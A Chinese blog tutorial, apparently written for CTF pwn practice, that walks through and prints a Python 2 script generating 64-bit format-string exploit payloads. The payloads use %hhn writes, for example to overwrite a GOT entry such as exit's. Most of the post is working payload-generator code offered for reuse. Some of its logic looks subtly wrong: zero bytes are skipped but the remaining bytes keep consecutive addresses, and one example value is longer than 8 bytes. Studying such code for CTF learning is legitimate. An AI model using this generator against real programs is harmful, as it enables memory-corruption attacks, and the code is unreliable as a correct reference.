0%

64位格式化字符串自动篇

64位格式化字符串之自动化脚本编写

前言:pwntools的工具只支持32位格式化字符串,我每次做64位格式化字符串的题目都是手动调试了很久,做一道题调试得花个大半部分时间,然后再编写exp,所以我近几天在研究如何自动化的生成payload,让我能够轻松不调试一波梭,在了解原理过后,我便开始了我的编写之路。

fmt_payload之写入篇

先补充个知识:

  • %hhn写入的是一个字节
  • %hn写入的是两个字节
  • %n写入的是四个字节

    栈偏移位置的确定

  • 以前都是手动调试的,然后调试多次过后发觉了规律:
  • 他的位置就是开头6个寄存器加上你输入的payload长度/8,
  • 因为64位程序以8个字节为一个单位,也就是说,你输入了40个字节的字符串,偏移位置就是11

大小的选择

  • 因为他是按已输出字符来写入的,如果你大的放前面,小的在后面就没法写入了,所以需要进行排序

了解这两个过程后,我们便可以开始进行脚本的编写了

脚本的编写

获得你需要写入的内容

我是按一个字节一个字节写入的,所以我需要获得每个字节的内容

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python
# coding=utf-8
from pwn import p64
def getAddr(write):
xor = 0xff
addr = []
for i in range(6):
result = (xor & write) >> (i * 8)
if result != 0:
addr.append(result)
xor = xor * 0x100
return addr

解释下,在每个字节的对应位置 & 0xff便可以获得那个位置的内容

划分部分

因为我需要将被写入的地址以及他们的内容对应起来,并进行排序,小的优先写,然后大的放后面,所以就要进行划分

1
2
3
4
5
6
7
def Partion(write, bewrite):
addr = getAddr(write)
part = []
for i in range(len(addr)):
part.append( (addr[i], p64(bewrite+i)) )
part.sort(key=lambda tup: tup[0]) #进行排序,按内容大小来排
return part

获取排序后的数组

1
2
3
4
5
def sizeUp(part):
size = []
for i in range(len(part)):
size.append(part[i][0])
return size

将地址进行打包

因为我是将地址放在后面的,防止00截断,然后在将排序后的地址按顺序打包起来

1
2
3
4
def packAddr(part):
addr =''.join(x[1] for x in part)
address = ''.join(addr)
return address

处理偏移

自动进行计算偏移,原因我已经说过了,通过计算是可以得出偏移位置的

1
2
3
4
5
6
7
8
9
def offsetDeal(size):
length = 12 * len(size)
if length % 8 != 0:
offset = length / 8 + 1
else:
offset = length / 8
length = offset * 8
offset += 6
return offset, length

生成payload

只是将对应位置和对应偏移的payload搞定

1
2
3
4
5
def payloadGenerate(size, offset):
payload = "%{}c%{}$hhn".format(size[0], offset)
for i in range(1, len(size)):
payload += "%{}c%{}$hhn".format(size[i]-size[i-1],offset+i)
return payload

主要函数,生成完整payload

  1. 首先获得划分并排序后的数组,就是地址和写入内容对应的数组
  2. 获得对应的大小,方便后面格式化
  3. 获得打包后的地址,方便后面添加
  4. 然后处理偏移和地址的对齐,64位按8个字节这样对齐
  5. 生成payload并进行对齐
  6. offset可选,防止意外,自行找offset
  7. 返回payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def fmt_payload(bewrite,  write, offset=0 ):
part = Partion(write, bewrite)
size = sizeUp(part)
address = packAddr(part)

result = offsetDeal(size)
if offset == 0:
offset = result[0]
length = result[1]

payload = payloadGenerate(size, offset)
payload = payload.ljust(length, 'a')
payload += address

return payload

example:

1
2
payload = fmt_payload(exit_got,0x0000000000400626)
payload = fmt_payload(exit_got,0x000000000040062610)

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python
# coding=utf-8
from pwn import p64

# 获得写入的每一位的内容
def getAddr(write):
xor = 0xff
addr = []
for i in range(6):
result = (xor & write) >> (i * 8)
if result != 0:
addr.append(result)
xor = xor * 0x100
return addr

# 划分部分,按大小排序
def Partion(write, bewrite):
addr = getAddr(write)
part = []
for i in range(len(addr)):
part.append( (addr[i], p64(bewrite+i)) )
part.sort(key=lambda tup: tup[0])
return part

# 获得排序后的大小,升序
def sizeUp(part):
size = []
for i in range(len(part)):
size.append(part[i][0])
return size

# 打包地址
def packAddr(part):
addr =''.join(x[1] for x in part)
address = ''.join(addr)
return address

# 自动计算偏移
def offsetDeal(size):
length = 12 * len(size)
if length % 8 != 0:
offset = length / 8 + 1
else:
offset = length / 8
length = offset * 8
offset += 6
return offset, length


# 生成payload
def payloadGenerate(size, offset):
payload = "%{}c%{}$hhn".format(size[0], offset)
for i in range(1, len(size)):
payload += "%{}c%{}$hhn".format(size[i]-size[i-1],offset+i)
return payload

## 生成payload并对齐
def fmt_payload(bewrite, write, offset=0):
part = Partion(write, bewrite)
size = sizeUp(part)
address = packAddr(part)

result = offsetDeal(size)
if offset == 0:
offset = result[0]
length = result[1]
print 'offset is:' + str(offset)
payload = payloadGenerate(size, offset)

payload = payload.ljust(length, 'a')
payload += address

return payload

# payload = fmt_payload(exit_got,0x0000000000400626)
# payload = fmt_payload(exit_got,0x0000000000400626,10)

总结:

写完后发觉,只适用于栈长度相对较大的,因为单字节写入的话,payload构造相对会比较长,所以是否还应该开个选项,双字节写入,四字节写入,不过那些是后话了,因为只需改改脚本就行了,编写脚本的目的只是为了更好的理解这个格式化字符串漏洞,理解他的整个过程,等我想到如何写通用payload,就是能设置长度的时候,在改进下。

本文作者:NoOne
本文地址https://noonegroup.xyz/posts/7ec8b821/
版权声明:转载请注明出处!